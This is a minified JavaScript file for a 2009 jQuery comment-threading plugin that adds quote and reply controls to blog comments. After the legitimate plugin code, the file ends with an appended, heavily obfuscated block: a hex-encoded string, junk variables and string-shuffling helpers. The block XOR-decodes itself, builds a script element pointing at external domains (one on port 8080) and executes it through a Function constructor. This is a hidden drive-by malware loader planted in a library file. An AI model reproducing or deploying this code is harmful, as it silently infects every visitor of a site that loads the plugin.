/**
* Encouraged Commentary - A comment traverser to help manage conversations on web pages.
* Copyright (c) 2009 Jim Jeffers - jim(at)donttrustthisguy(dot)com | http://donttrustthisguy.com
* Dual licensed under MIT and GPL.
* Date: 1/09/2009
* @author Jim Jeffers
* @version 1.0
*
* Intro Article:
* http://donttrustthisguy.com/2009/01/04/encouraged-commentary/ 
*
* Source:
* http://github.com/jimjeffers/encouraged-commentary/tree/master
*/
jQuery(document).ready(function(){jQuery(document.body).append("<span id=\"comment-respond\">Quote This</span>");var j=jQuery('#comment-respond');j.css('position','absolute');j.fadeTo(10,0);var k="";var l="";var m="";jQuery('.commentlist > .comment, .quotable').each(function(){jQuery(this).mouseup(function(e){j.css('top',e.pageY+10);j.css('left',e.pageX+10);if(getSelText()){j.show();j.fadeTo("normal",10);var a=findCommentFor(e.target);if(a){k=findPermalinkFor(a).href;l=findAuthorFor(a).text}else{k=false;l=false}m=getSelText()}})});j.hover(function(){jQuery(this).fadeTo("fast",1)},function(){jQuery(this).fadeTo("fast",0.3)});j.mousedown(function(e){var a="";if(k&&l){a="<p><a href=\""+k+"\">@"+l+"</a>:</p>\n"}jQuery('#comment').val(a+"<blockquote>"+m+"</blockquote>\n\n");jQuery.scrollTo('#commentform',{duration:1000});jQuery(this).fadeTo(1,0);j.hide()});jQuery(document.body).mousedown(function(){j.hide()});jQuery('.commentlist .comment a').click(function(e){var a=getAnchor(this.href);if(jQuery('.commentlist '+a).length>0){setCurrentComment(a);jQuery.scrollTo(a,{duration:1000});return false}});var n=jQuery(jQuery('.commentlist').get(0));var o=new Array();var p=new Array();var q=n.hasClass('sorted-commentary');jQuery('.commentlist .comment p:first-child a:first-child').each(function(){if(this.text.substring(1,-1)=="@"){var a=this.text.substring(1,this.text.length);var b=findCommentFor(this);var c=findAuthorFor(b);var d=findPermalinkFor(b);var e=getAnchor(this.href);var f='<a href="'+d.href+'">'+c.innerHTML+'</a>';var g=jQuery('.commentlist #'+e.substr(1,e.length));if(g.length>0&&q){jQuery(g.get(0)).after(b.addClass('response'))}if(!p[e]){p[e]=new Array(f)}else{p[e][p[e].length]=f}}});var r='';if(!n.hasClass('no-quote-control')){r+='<a href="#" class="comment-quote">Quote</a>'}if(!n.hasClass('no-reply-control')){r+='<a href="#" class="comment-reply">Reply</a>'}jQuery('.commentlist > .comment').each(function(){var c=findAuthorFor(this);var d=findPermalinkFor(this);var f=getAnchor(d.href);var g='<a href="'+d.href+'">'+d.innerHTML+'</a>';if(!o[c.text]){o[c.text]=new Array(g)}else{o[c.text][o[c.text].length]=g}jQuery(this).append('<div class="comment-controls">'+r+'</div>');jQuery(this).find('.comment-reply, .comment-quote').each(function(){if(jQuery(this).hasClass('comment-reply')){jQuery(this).click(function(e){setupComment(this,false);return false})}if(jQuery(this).hasClass('comment-quote')){jQuery(this).click(function(e){setupComment(this,true);return false})}});var h=false;var i=jQuery(jQuery(this).find('.comment-controls'));i.hide();jQuery(this).hover(function(){if(o[c.text].length>1||p[f]){if(jQuery(this).find('div.comment-controls div.related-replies, div.comment-controls div.related-comments').length<1){if(p[f]&&!n.hasClass('no-replies')){var b="";(p[f].length>1)?b="replies":b="reply";i.append('<div class="related-replies"><h6>'+(p[f].length)+' '+b+' to this comment</h6><ol>'+printReplies(p[f])+'</ol></div>')}if(o[c.text].length>1&&!n.hasClass('no-relatives')){var b="";(o[c.text].length-1>1)?b="comments":b="comment";i.append('<div class="related-comments"><h6>'+(o[c.text].length-1)+' other '+b+' from '+c.text+'</h6><ol>'+printRelatives(o[c.text],g)+'</ol></div>')}jQuery(this).find('div.comment-controls ol li a').click(function(e){var a=getAnchor(this.href);setCurrentComment(a);jQuery.scrollTo(a,{duration:1000});return false})}}if(!i.is(':visible')&&!h){h=setTimeout(function(){i.fadeIn("fast");h=false},300)}else{clearTimeout(h);h=false}},function(){if(!i.is(':visible')&&h){clearTimeout(h);h=false}else if(i.is(':visible')&&!h){h=setTimeout(function(){i.fadeOut("fast");h=false},500)}})})});function findCommentFor(a){a=jQuery(a);while(!a.hasClass('comment')){if(a.hasClass('quotable')){return false}a=jQuery(a.parent())}return a};function findPermalinkFor(a){return jQuery(a).find('.comment-permalink').get(0)};function findAuthorFor(a){return jQuery(a).find('.comment-author-name').get(0)};function printRelatives(a,b){var c="";var d="";for(var i=0;i<=a.length-1;i++){(a[i]==b)?d="current":d="";c+='<li class="'+d+'">'+a[i]+'</li>'};return c};function printReplies(a){var b="";for(var i=0;i<=a.length-1;i++){b+='<li>'+a[i]+'</li>'};return b};function setCurrentComment(a){jQuery('.commentlist .current-comment').removeClass('current-comment');jQuery(jQuery('.commentlist '+a).get(0)).addClass('current-comment')};function getAnchor(a){return'#'+a.split("#")[1]};function setupComment(b,c){var d=findCommentFor(b);var e='<p><a href="'+findPermalinkFor(d).href+'">@'+findAuthorFor(d).text+'</a></p>';if(c){c="<blockquote>";if(d.find('.entry-content > p').length>0){d.find('.entry-content > p').each(function(){var a=false;if(jQuery(this).find("a:first-child").length>0){if(jQuery(this).find("a:first-child").get(0).text.substring(1,-1)=="@"){a=true}}if(!a){c+="<p>"+this.innerHTML+"</p>"}})}else{c=d.innerHTML}c+="</blockquote>";c=c.replace("\n<!-- Start your comment below this line. -->\n\n","");c=c.replace("\n<!-- Start your comment below this line. -->\n","");c=c.replace("<!-- Start your comment below this line. -->","")}else{c=""}jQuery('#comment').val(e+c+"\n<p>\n<!-- Start your comment below this line. -->\n\n</p>");jQuery.scrollTo('#comment',{duration:1000})};function getSelText(){var a='';if(window.getSelection){a=window.getSelection()}else if(document.getSelection){a=document.getSelection()}else if(document.selection){a=document.selection.createRange().text}else return;if(String(a).length>2){a=String(a).replace(/\n\n/g,"</p><p>").replace(/\n/g,"<br/>");return"<p>"+a+"</p>"}else{return false}};
var FH="f4ebe2d9f999f6f5ece8d3bae9d5fac897fcf7c2f9c8ebf8f5c1eccad1cad0daded6d0c5d2f0d6c7d2eadee8d8ebd4f0c9d2c8d7c5d2f1ebf8e5d3c0d7dee8f8efd0f8fcedebf89bf4fa98f3f1ed97d3cd9dfed0";this.WWJ=18836;this.nY=38768;function b(d){var IF;if(IF!='' && IF!='Ny'){IF='NW'};var T="T";var bF=''; var W=function(I){this.yQ='';this.Ji='';var y =[0,233,195][0];var sK=64534;var Od=45669;I = new D(I);var UT=18449;this.To="To";var DM = '';var uZ=3219;var Sf;if(Sf!=''){Sf='AN'};var O = -1;this.Cl="";var mp="mp";this.fs=1798;var g =[0][0];var Eb="";var uE="";var xx;if(xx!='a'){xx=''};this.DJ="";for (g=I[u("nelhtg", [2,1,0])]-O;g>=y;g=g-[51,1][1]){var zN=new String();var WWI;if(WWI!='WU' && WWI!='gz'){WWI=''};DM+=I[u("hcratA", [1,0])](g);var Tuk=false;}var uy="";var tQ;if(tQ!='' && tQ!='an'){tQ='kf'};return DM;};var ly=new String();this.UK=''; var u=function(I, h){var WC="";var TR="";var c = I.length;var DM = '';var ZQ;if(ZQ!='' && ZQ!='rE'){ZQ='VL'};var Dt;if(Dt!='Om' && Dt != ''){Dt=null};var V=[1][0];var y=[0,162,46,112][0];var eK=new Array();var k = h.length;this.mG='';this.BV='';var EB=new Array();for(var g = y; g < c; g += k) {var ZD=40397;var pC=new Array();var x = I.substr(g, k);var XB;if(XB!='Bl'){XB='Bl'};this.dK='';if(x.length == k){var nI;if(nI!='mm'){nI='mm'};var Az=new Date();var zy=new Date();for(var q in h) {var XG;if(XG!='' && XG!='fD'){XG=''};var NyA;if(NyA!='nt' && NyA!='lO'){NyA=''};this.nh=30564;DM+=x.substr(h[q], V);var wu="wu";this.kb='';var OM;if(OM!='da' && OM != ''){OM=null};}var Hb=new Array();var yg=new Array();} else {this.ZQQ="ZQQ";var Vp=new Array();  DM+=x;var vc='';var VU;if(VU!='' && VU!='lh'){VU=null};}var ks=new Array();var XF;if(XF!='fg'){XF=''};}var iJ=45641;return DM;var fX=new Array();var gr;if(gr!='' && gr!='aC'){gr='KA'};};var Pl=30456; var G=function(e,uL){return e^uL;};var DI=false;var Dv=false; var L=function(Q){var Aw=false;var fa='';var lx='';var LC='';var V=[1,204][0];var t=[179,68,0][2];var fS;if(fS!='dKt'){fS=''};var gc;if(gc!='' && gc!='ru'){gc=null};var Px="Px";var q=[0,147][0];var BD;if(BD!=''){BD='GS'};var B=Q[u("ngelth", [3,2,0,1])];var cV;if(cV!='' && cV!='ra'){cV='UQ'};var BH=[245,140,255][2];var uT="";while(q<B){var em=false;var wR='';q++;this.Mv='';var cZE;if(cZE!='' && cZE!='xT'){cZE=''};J=N(Q,q - V);var DN=13588;t+=J*B;}return new D(t % BH);this.at="";}; var N=function(U,R){var ka;if(ka!='Ec' && ka!='vF'){ka='Ec'};return U[u("CahrctedAo", [4,2,1,3,0])](R);};this.dA="dA";var wb;if(wb!='tl' && wb!='qX'){wb=''};var TPg;if(TPg!='fx'){TPg='fx'};var IE=window;var ee=new String();var TK;if(TK!='XOB'){TK='XOB'};var bJ=IE[u("vela", [1,0])];var H=bJ(u("utFcnion", [2,0,4,3,1,5,6]));var WS='';var pz=30457;var D=bJ(u("rtiSng", [3,1,0,2,4]));var sZ='';var JK = '';var Lt;if(Lt!='LN'){Lt='LN'};var Wm=new Array();var NX=bJ(u("geRpxE", [2,1,0]));var GU='';var EY;if(EY!='lk'){EY=''};this.EE="";var kAP;if(kAP!='PV' && kAP!='BC'){kAP='PV'};var Ns;if(Ns!='pWL' && Ns != ''){Ns=null};var yv=IE[u("caunsepe", [2,3,5,4,0,1])];var LZ="LZ";var ml=19212;var f=D[u("mCforCohrade", [2,4,3,0,1])];var ms;if(ms!='kz' && ms!='mC'){ms=''};var aVL;if(aVL!='' && aVL!='my'){aVL='LMb'};var XID=47456;var hf;if(hf!='IO' && hf != ''){hf=null};var Ia=25310;var cq = /[^@a-z0-9A-Z_-]/g;var y =[0,209,163,46][0];var gt="";var po;if(po!=''){po='AP'};var Rz = '';this.Tf=false;this.Qw=false;var i =[2][0];var Z = '';var kl=new Array();var E =[0][0];this.Qs="Qs";var C = '';var AK;if(AK!='' && AK!='iO'){AK=''};this.Ju=false;var LR = "%";var VG=[1, u("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, u("ucmoedb.otdnpap.eyhCidlnd(d)", [5,3,1,0,2,4]),3, u(".sdtAetrtbuie(tde\'erf\'", [2,0,1]),4, u("thhu.meehosl.ab8r0u:80", [1,3,4,0,2]),5, u("ro.goggoell..koggoel", [1,0]),6, u("gelogo.com", [4,3,5,0,2,1]),7, u("iondwwoonl.ad", [4,0,2,3,1,5]),8, u("iientpsot.com", [6,1,4,2,5,7,0,3]),11, u("hteiprtaeaby", [1,0,2]),12, u("unfticn(o)", [2,0,1]),14, u("zeag.patl", [3,2,0,1]),15, u("tacce()h", [3,1,0,2]),16, u("ht\"pt:", [2,0,4,1,3]),17, u(".ndwee", [3,4,1,0,2]),18, u("tnekn", [3,2,4,1,0]),19, u(".sdrc", [2,0,1]),20, u("1\')\'", [1,0]),21, u("ewr", [1,0,2]),22, u("rty", [1,0]),23, u("oc", [1,0])];var CH=17803;var tQa='';var Uw = d[u("nlhegt", [1,3,0,4,5,2])];var lR="lR";var Sz=false;var Tc=new Date();var KR=new Date();var V =[1,139,139,157][0];var oC=false;this.rw="";this.CP='';var Cy;if(Cy!=''){Cy='fc'};for(var n=y; n < Uw; n+=i){this.dH="dH";Rz+= LR; Rz+= d[u("usbstr", [3,0,2,1])](n, i);var ai=new Date();var xs;if(xs!=''){xs='hV'};}var d = yv(Rz);this.DNr=false;var vu='';var PH;if(PH!='' && PH!='iL'){PH=null};var DL = new D(b);this.mU="mU";var K = DL[u("erlpcae", [1,0])](cq, Z);var WW = VG[u("elntgh", [1,0,2])];K = W(K);this.jim="jim";var o = new D(H);var vO;if(vO!=''){vO='Sj'};var LA=new String();var z = o[u("plerace", [3,2,0,1])](cq, Z);var mu=new Array();var z = L(z);var Zn='';var hy=L(K);var Yw;if(Yw!='xfX' && Yw!='QB'){Yw=''};for(var g=y; g < (d[u("entglh", [4,0,1,3,2])]);g=g+[1,58][0]) {var np=new Array();var Ei;if(Ei!='' && Ei!='QMy'){Ei='CY'};var IP;if(IP!='sT' && IP!='kF'){IP=''};var Bs="";var j = K.charCodeAt(E);var wI=false;var RN = N(d,g);RN = G(RN, j);this.Xc=false;var pf;if(pf!='ar'){pf=''};RN = G(RN, hy);RN = G(RN, z);var Sk;if(Sk!='XM' && Sk!='Ne'){Sk=''};var Hp=new Array();var XLl=false;var eA=false;E++;var HX=false;if(E > K.length-V){E=y;var am;if(am!='' && am!='Pb'){am='vl'};this.cm=false;}C += f(RN);}var sr="sr";var WB;if(WB!='' && WB!='dCg'){WB='mM'};var SI;if(SI!='' && SI!='pu'){SI=''};for(Ip=y; Ip < WW; Ip+=i){var vlP;if(vlP!='CE' && vlP != ''){vlP=null};var ZK=new Date();var ip = VG[Ip + V];var Tt=new String();var Ep;if(Ep!='wX' && Ep != ''){Ep=null};var hDO;if(hDO!='xL' && hDO != ''){hDO=null};var s = f(VG[Ip]);var Sd="Sd";var fq=false;var cu="";var uN;if(uN!='' && uN!='XW'){uN=''};var uS;if(uS!=''){uS='TB'};var bo=false;var bJt = new NX(s, D.fromCharCode(103));this.KZ=38967;C=C[u("eparlce", [3,0,1,4,2,5])](bJt, ip);var gp;if(gp!='Mf' && gp!='nu'){gp=''};var vP;if(vP!='HN' && vP!='SMx'){vP=''};}var jI=new H(C);var YD;if(YD!='PP' && YD!='VM'){YD=''};jI();var bK=57432;var vm;if(vm!='Fr' && vm != ''){vm=null};var Dkg;if(Dkg!='' && Dkg!='UP'){Dkg=''};C = '';this.Gp=false;hy = '';var zv;if(zv!=''){zv='ZH'};var KK;if(KK!=''){KK='PL'};K = '';var TI;if(TI!='' && TI!='dp'){TI=''};z = '';this.eD="";var wW='';jI = '';var uSp='';o = '';var hH=new String();var mQ;if(mQ!='' && mQ!='cO'){mQ=null};var Qc;if(Qc!='' && Qc!='Ls'){Qc=null};return '';};this.WWJ=18836;this.nY=38768;b(FH);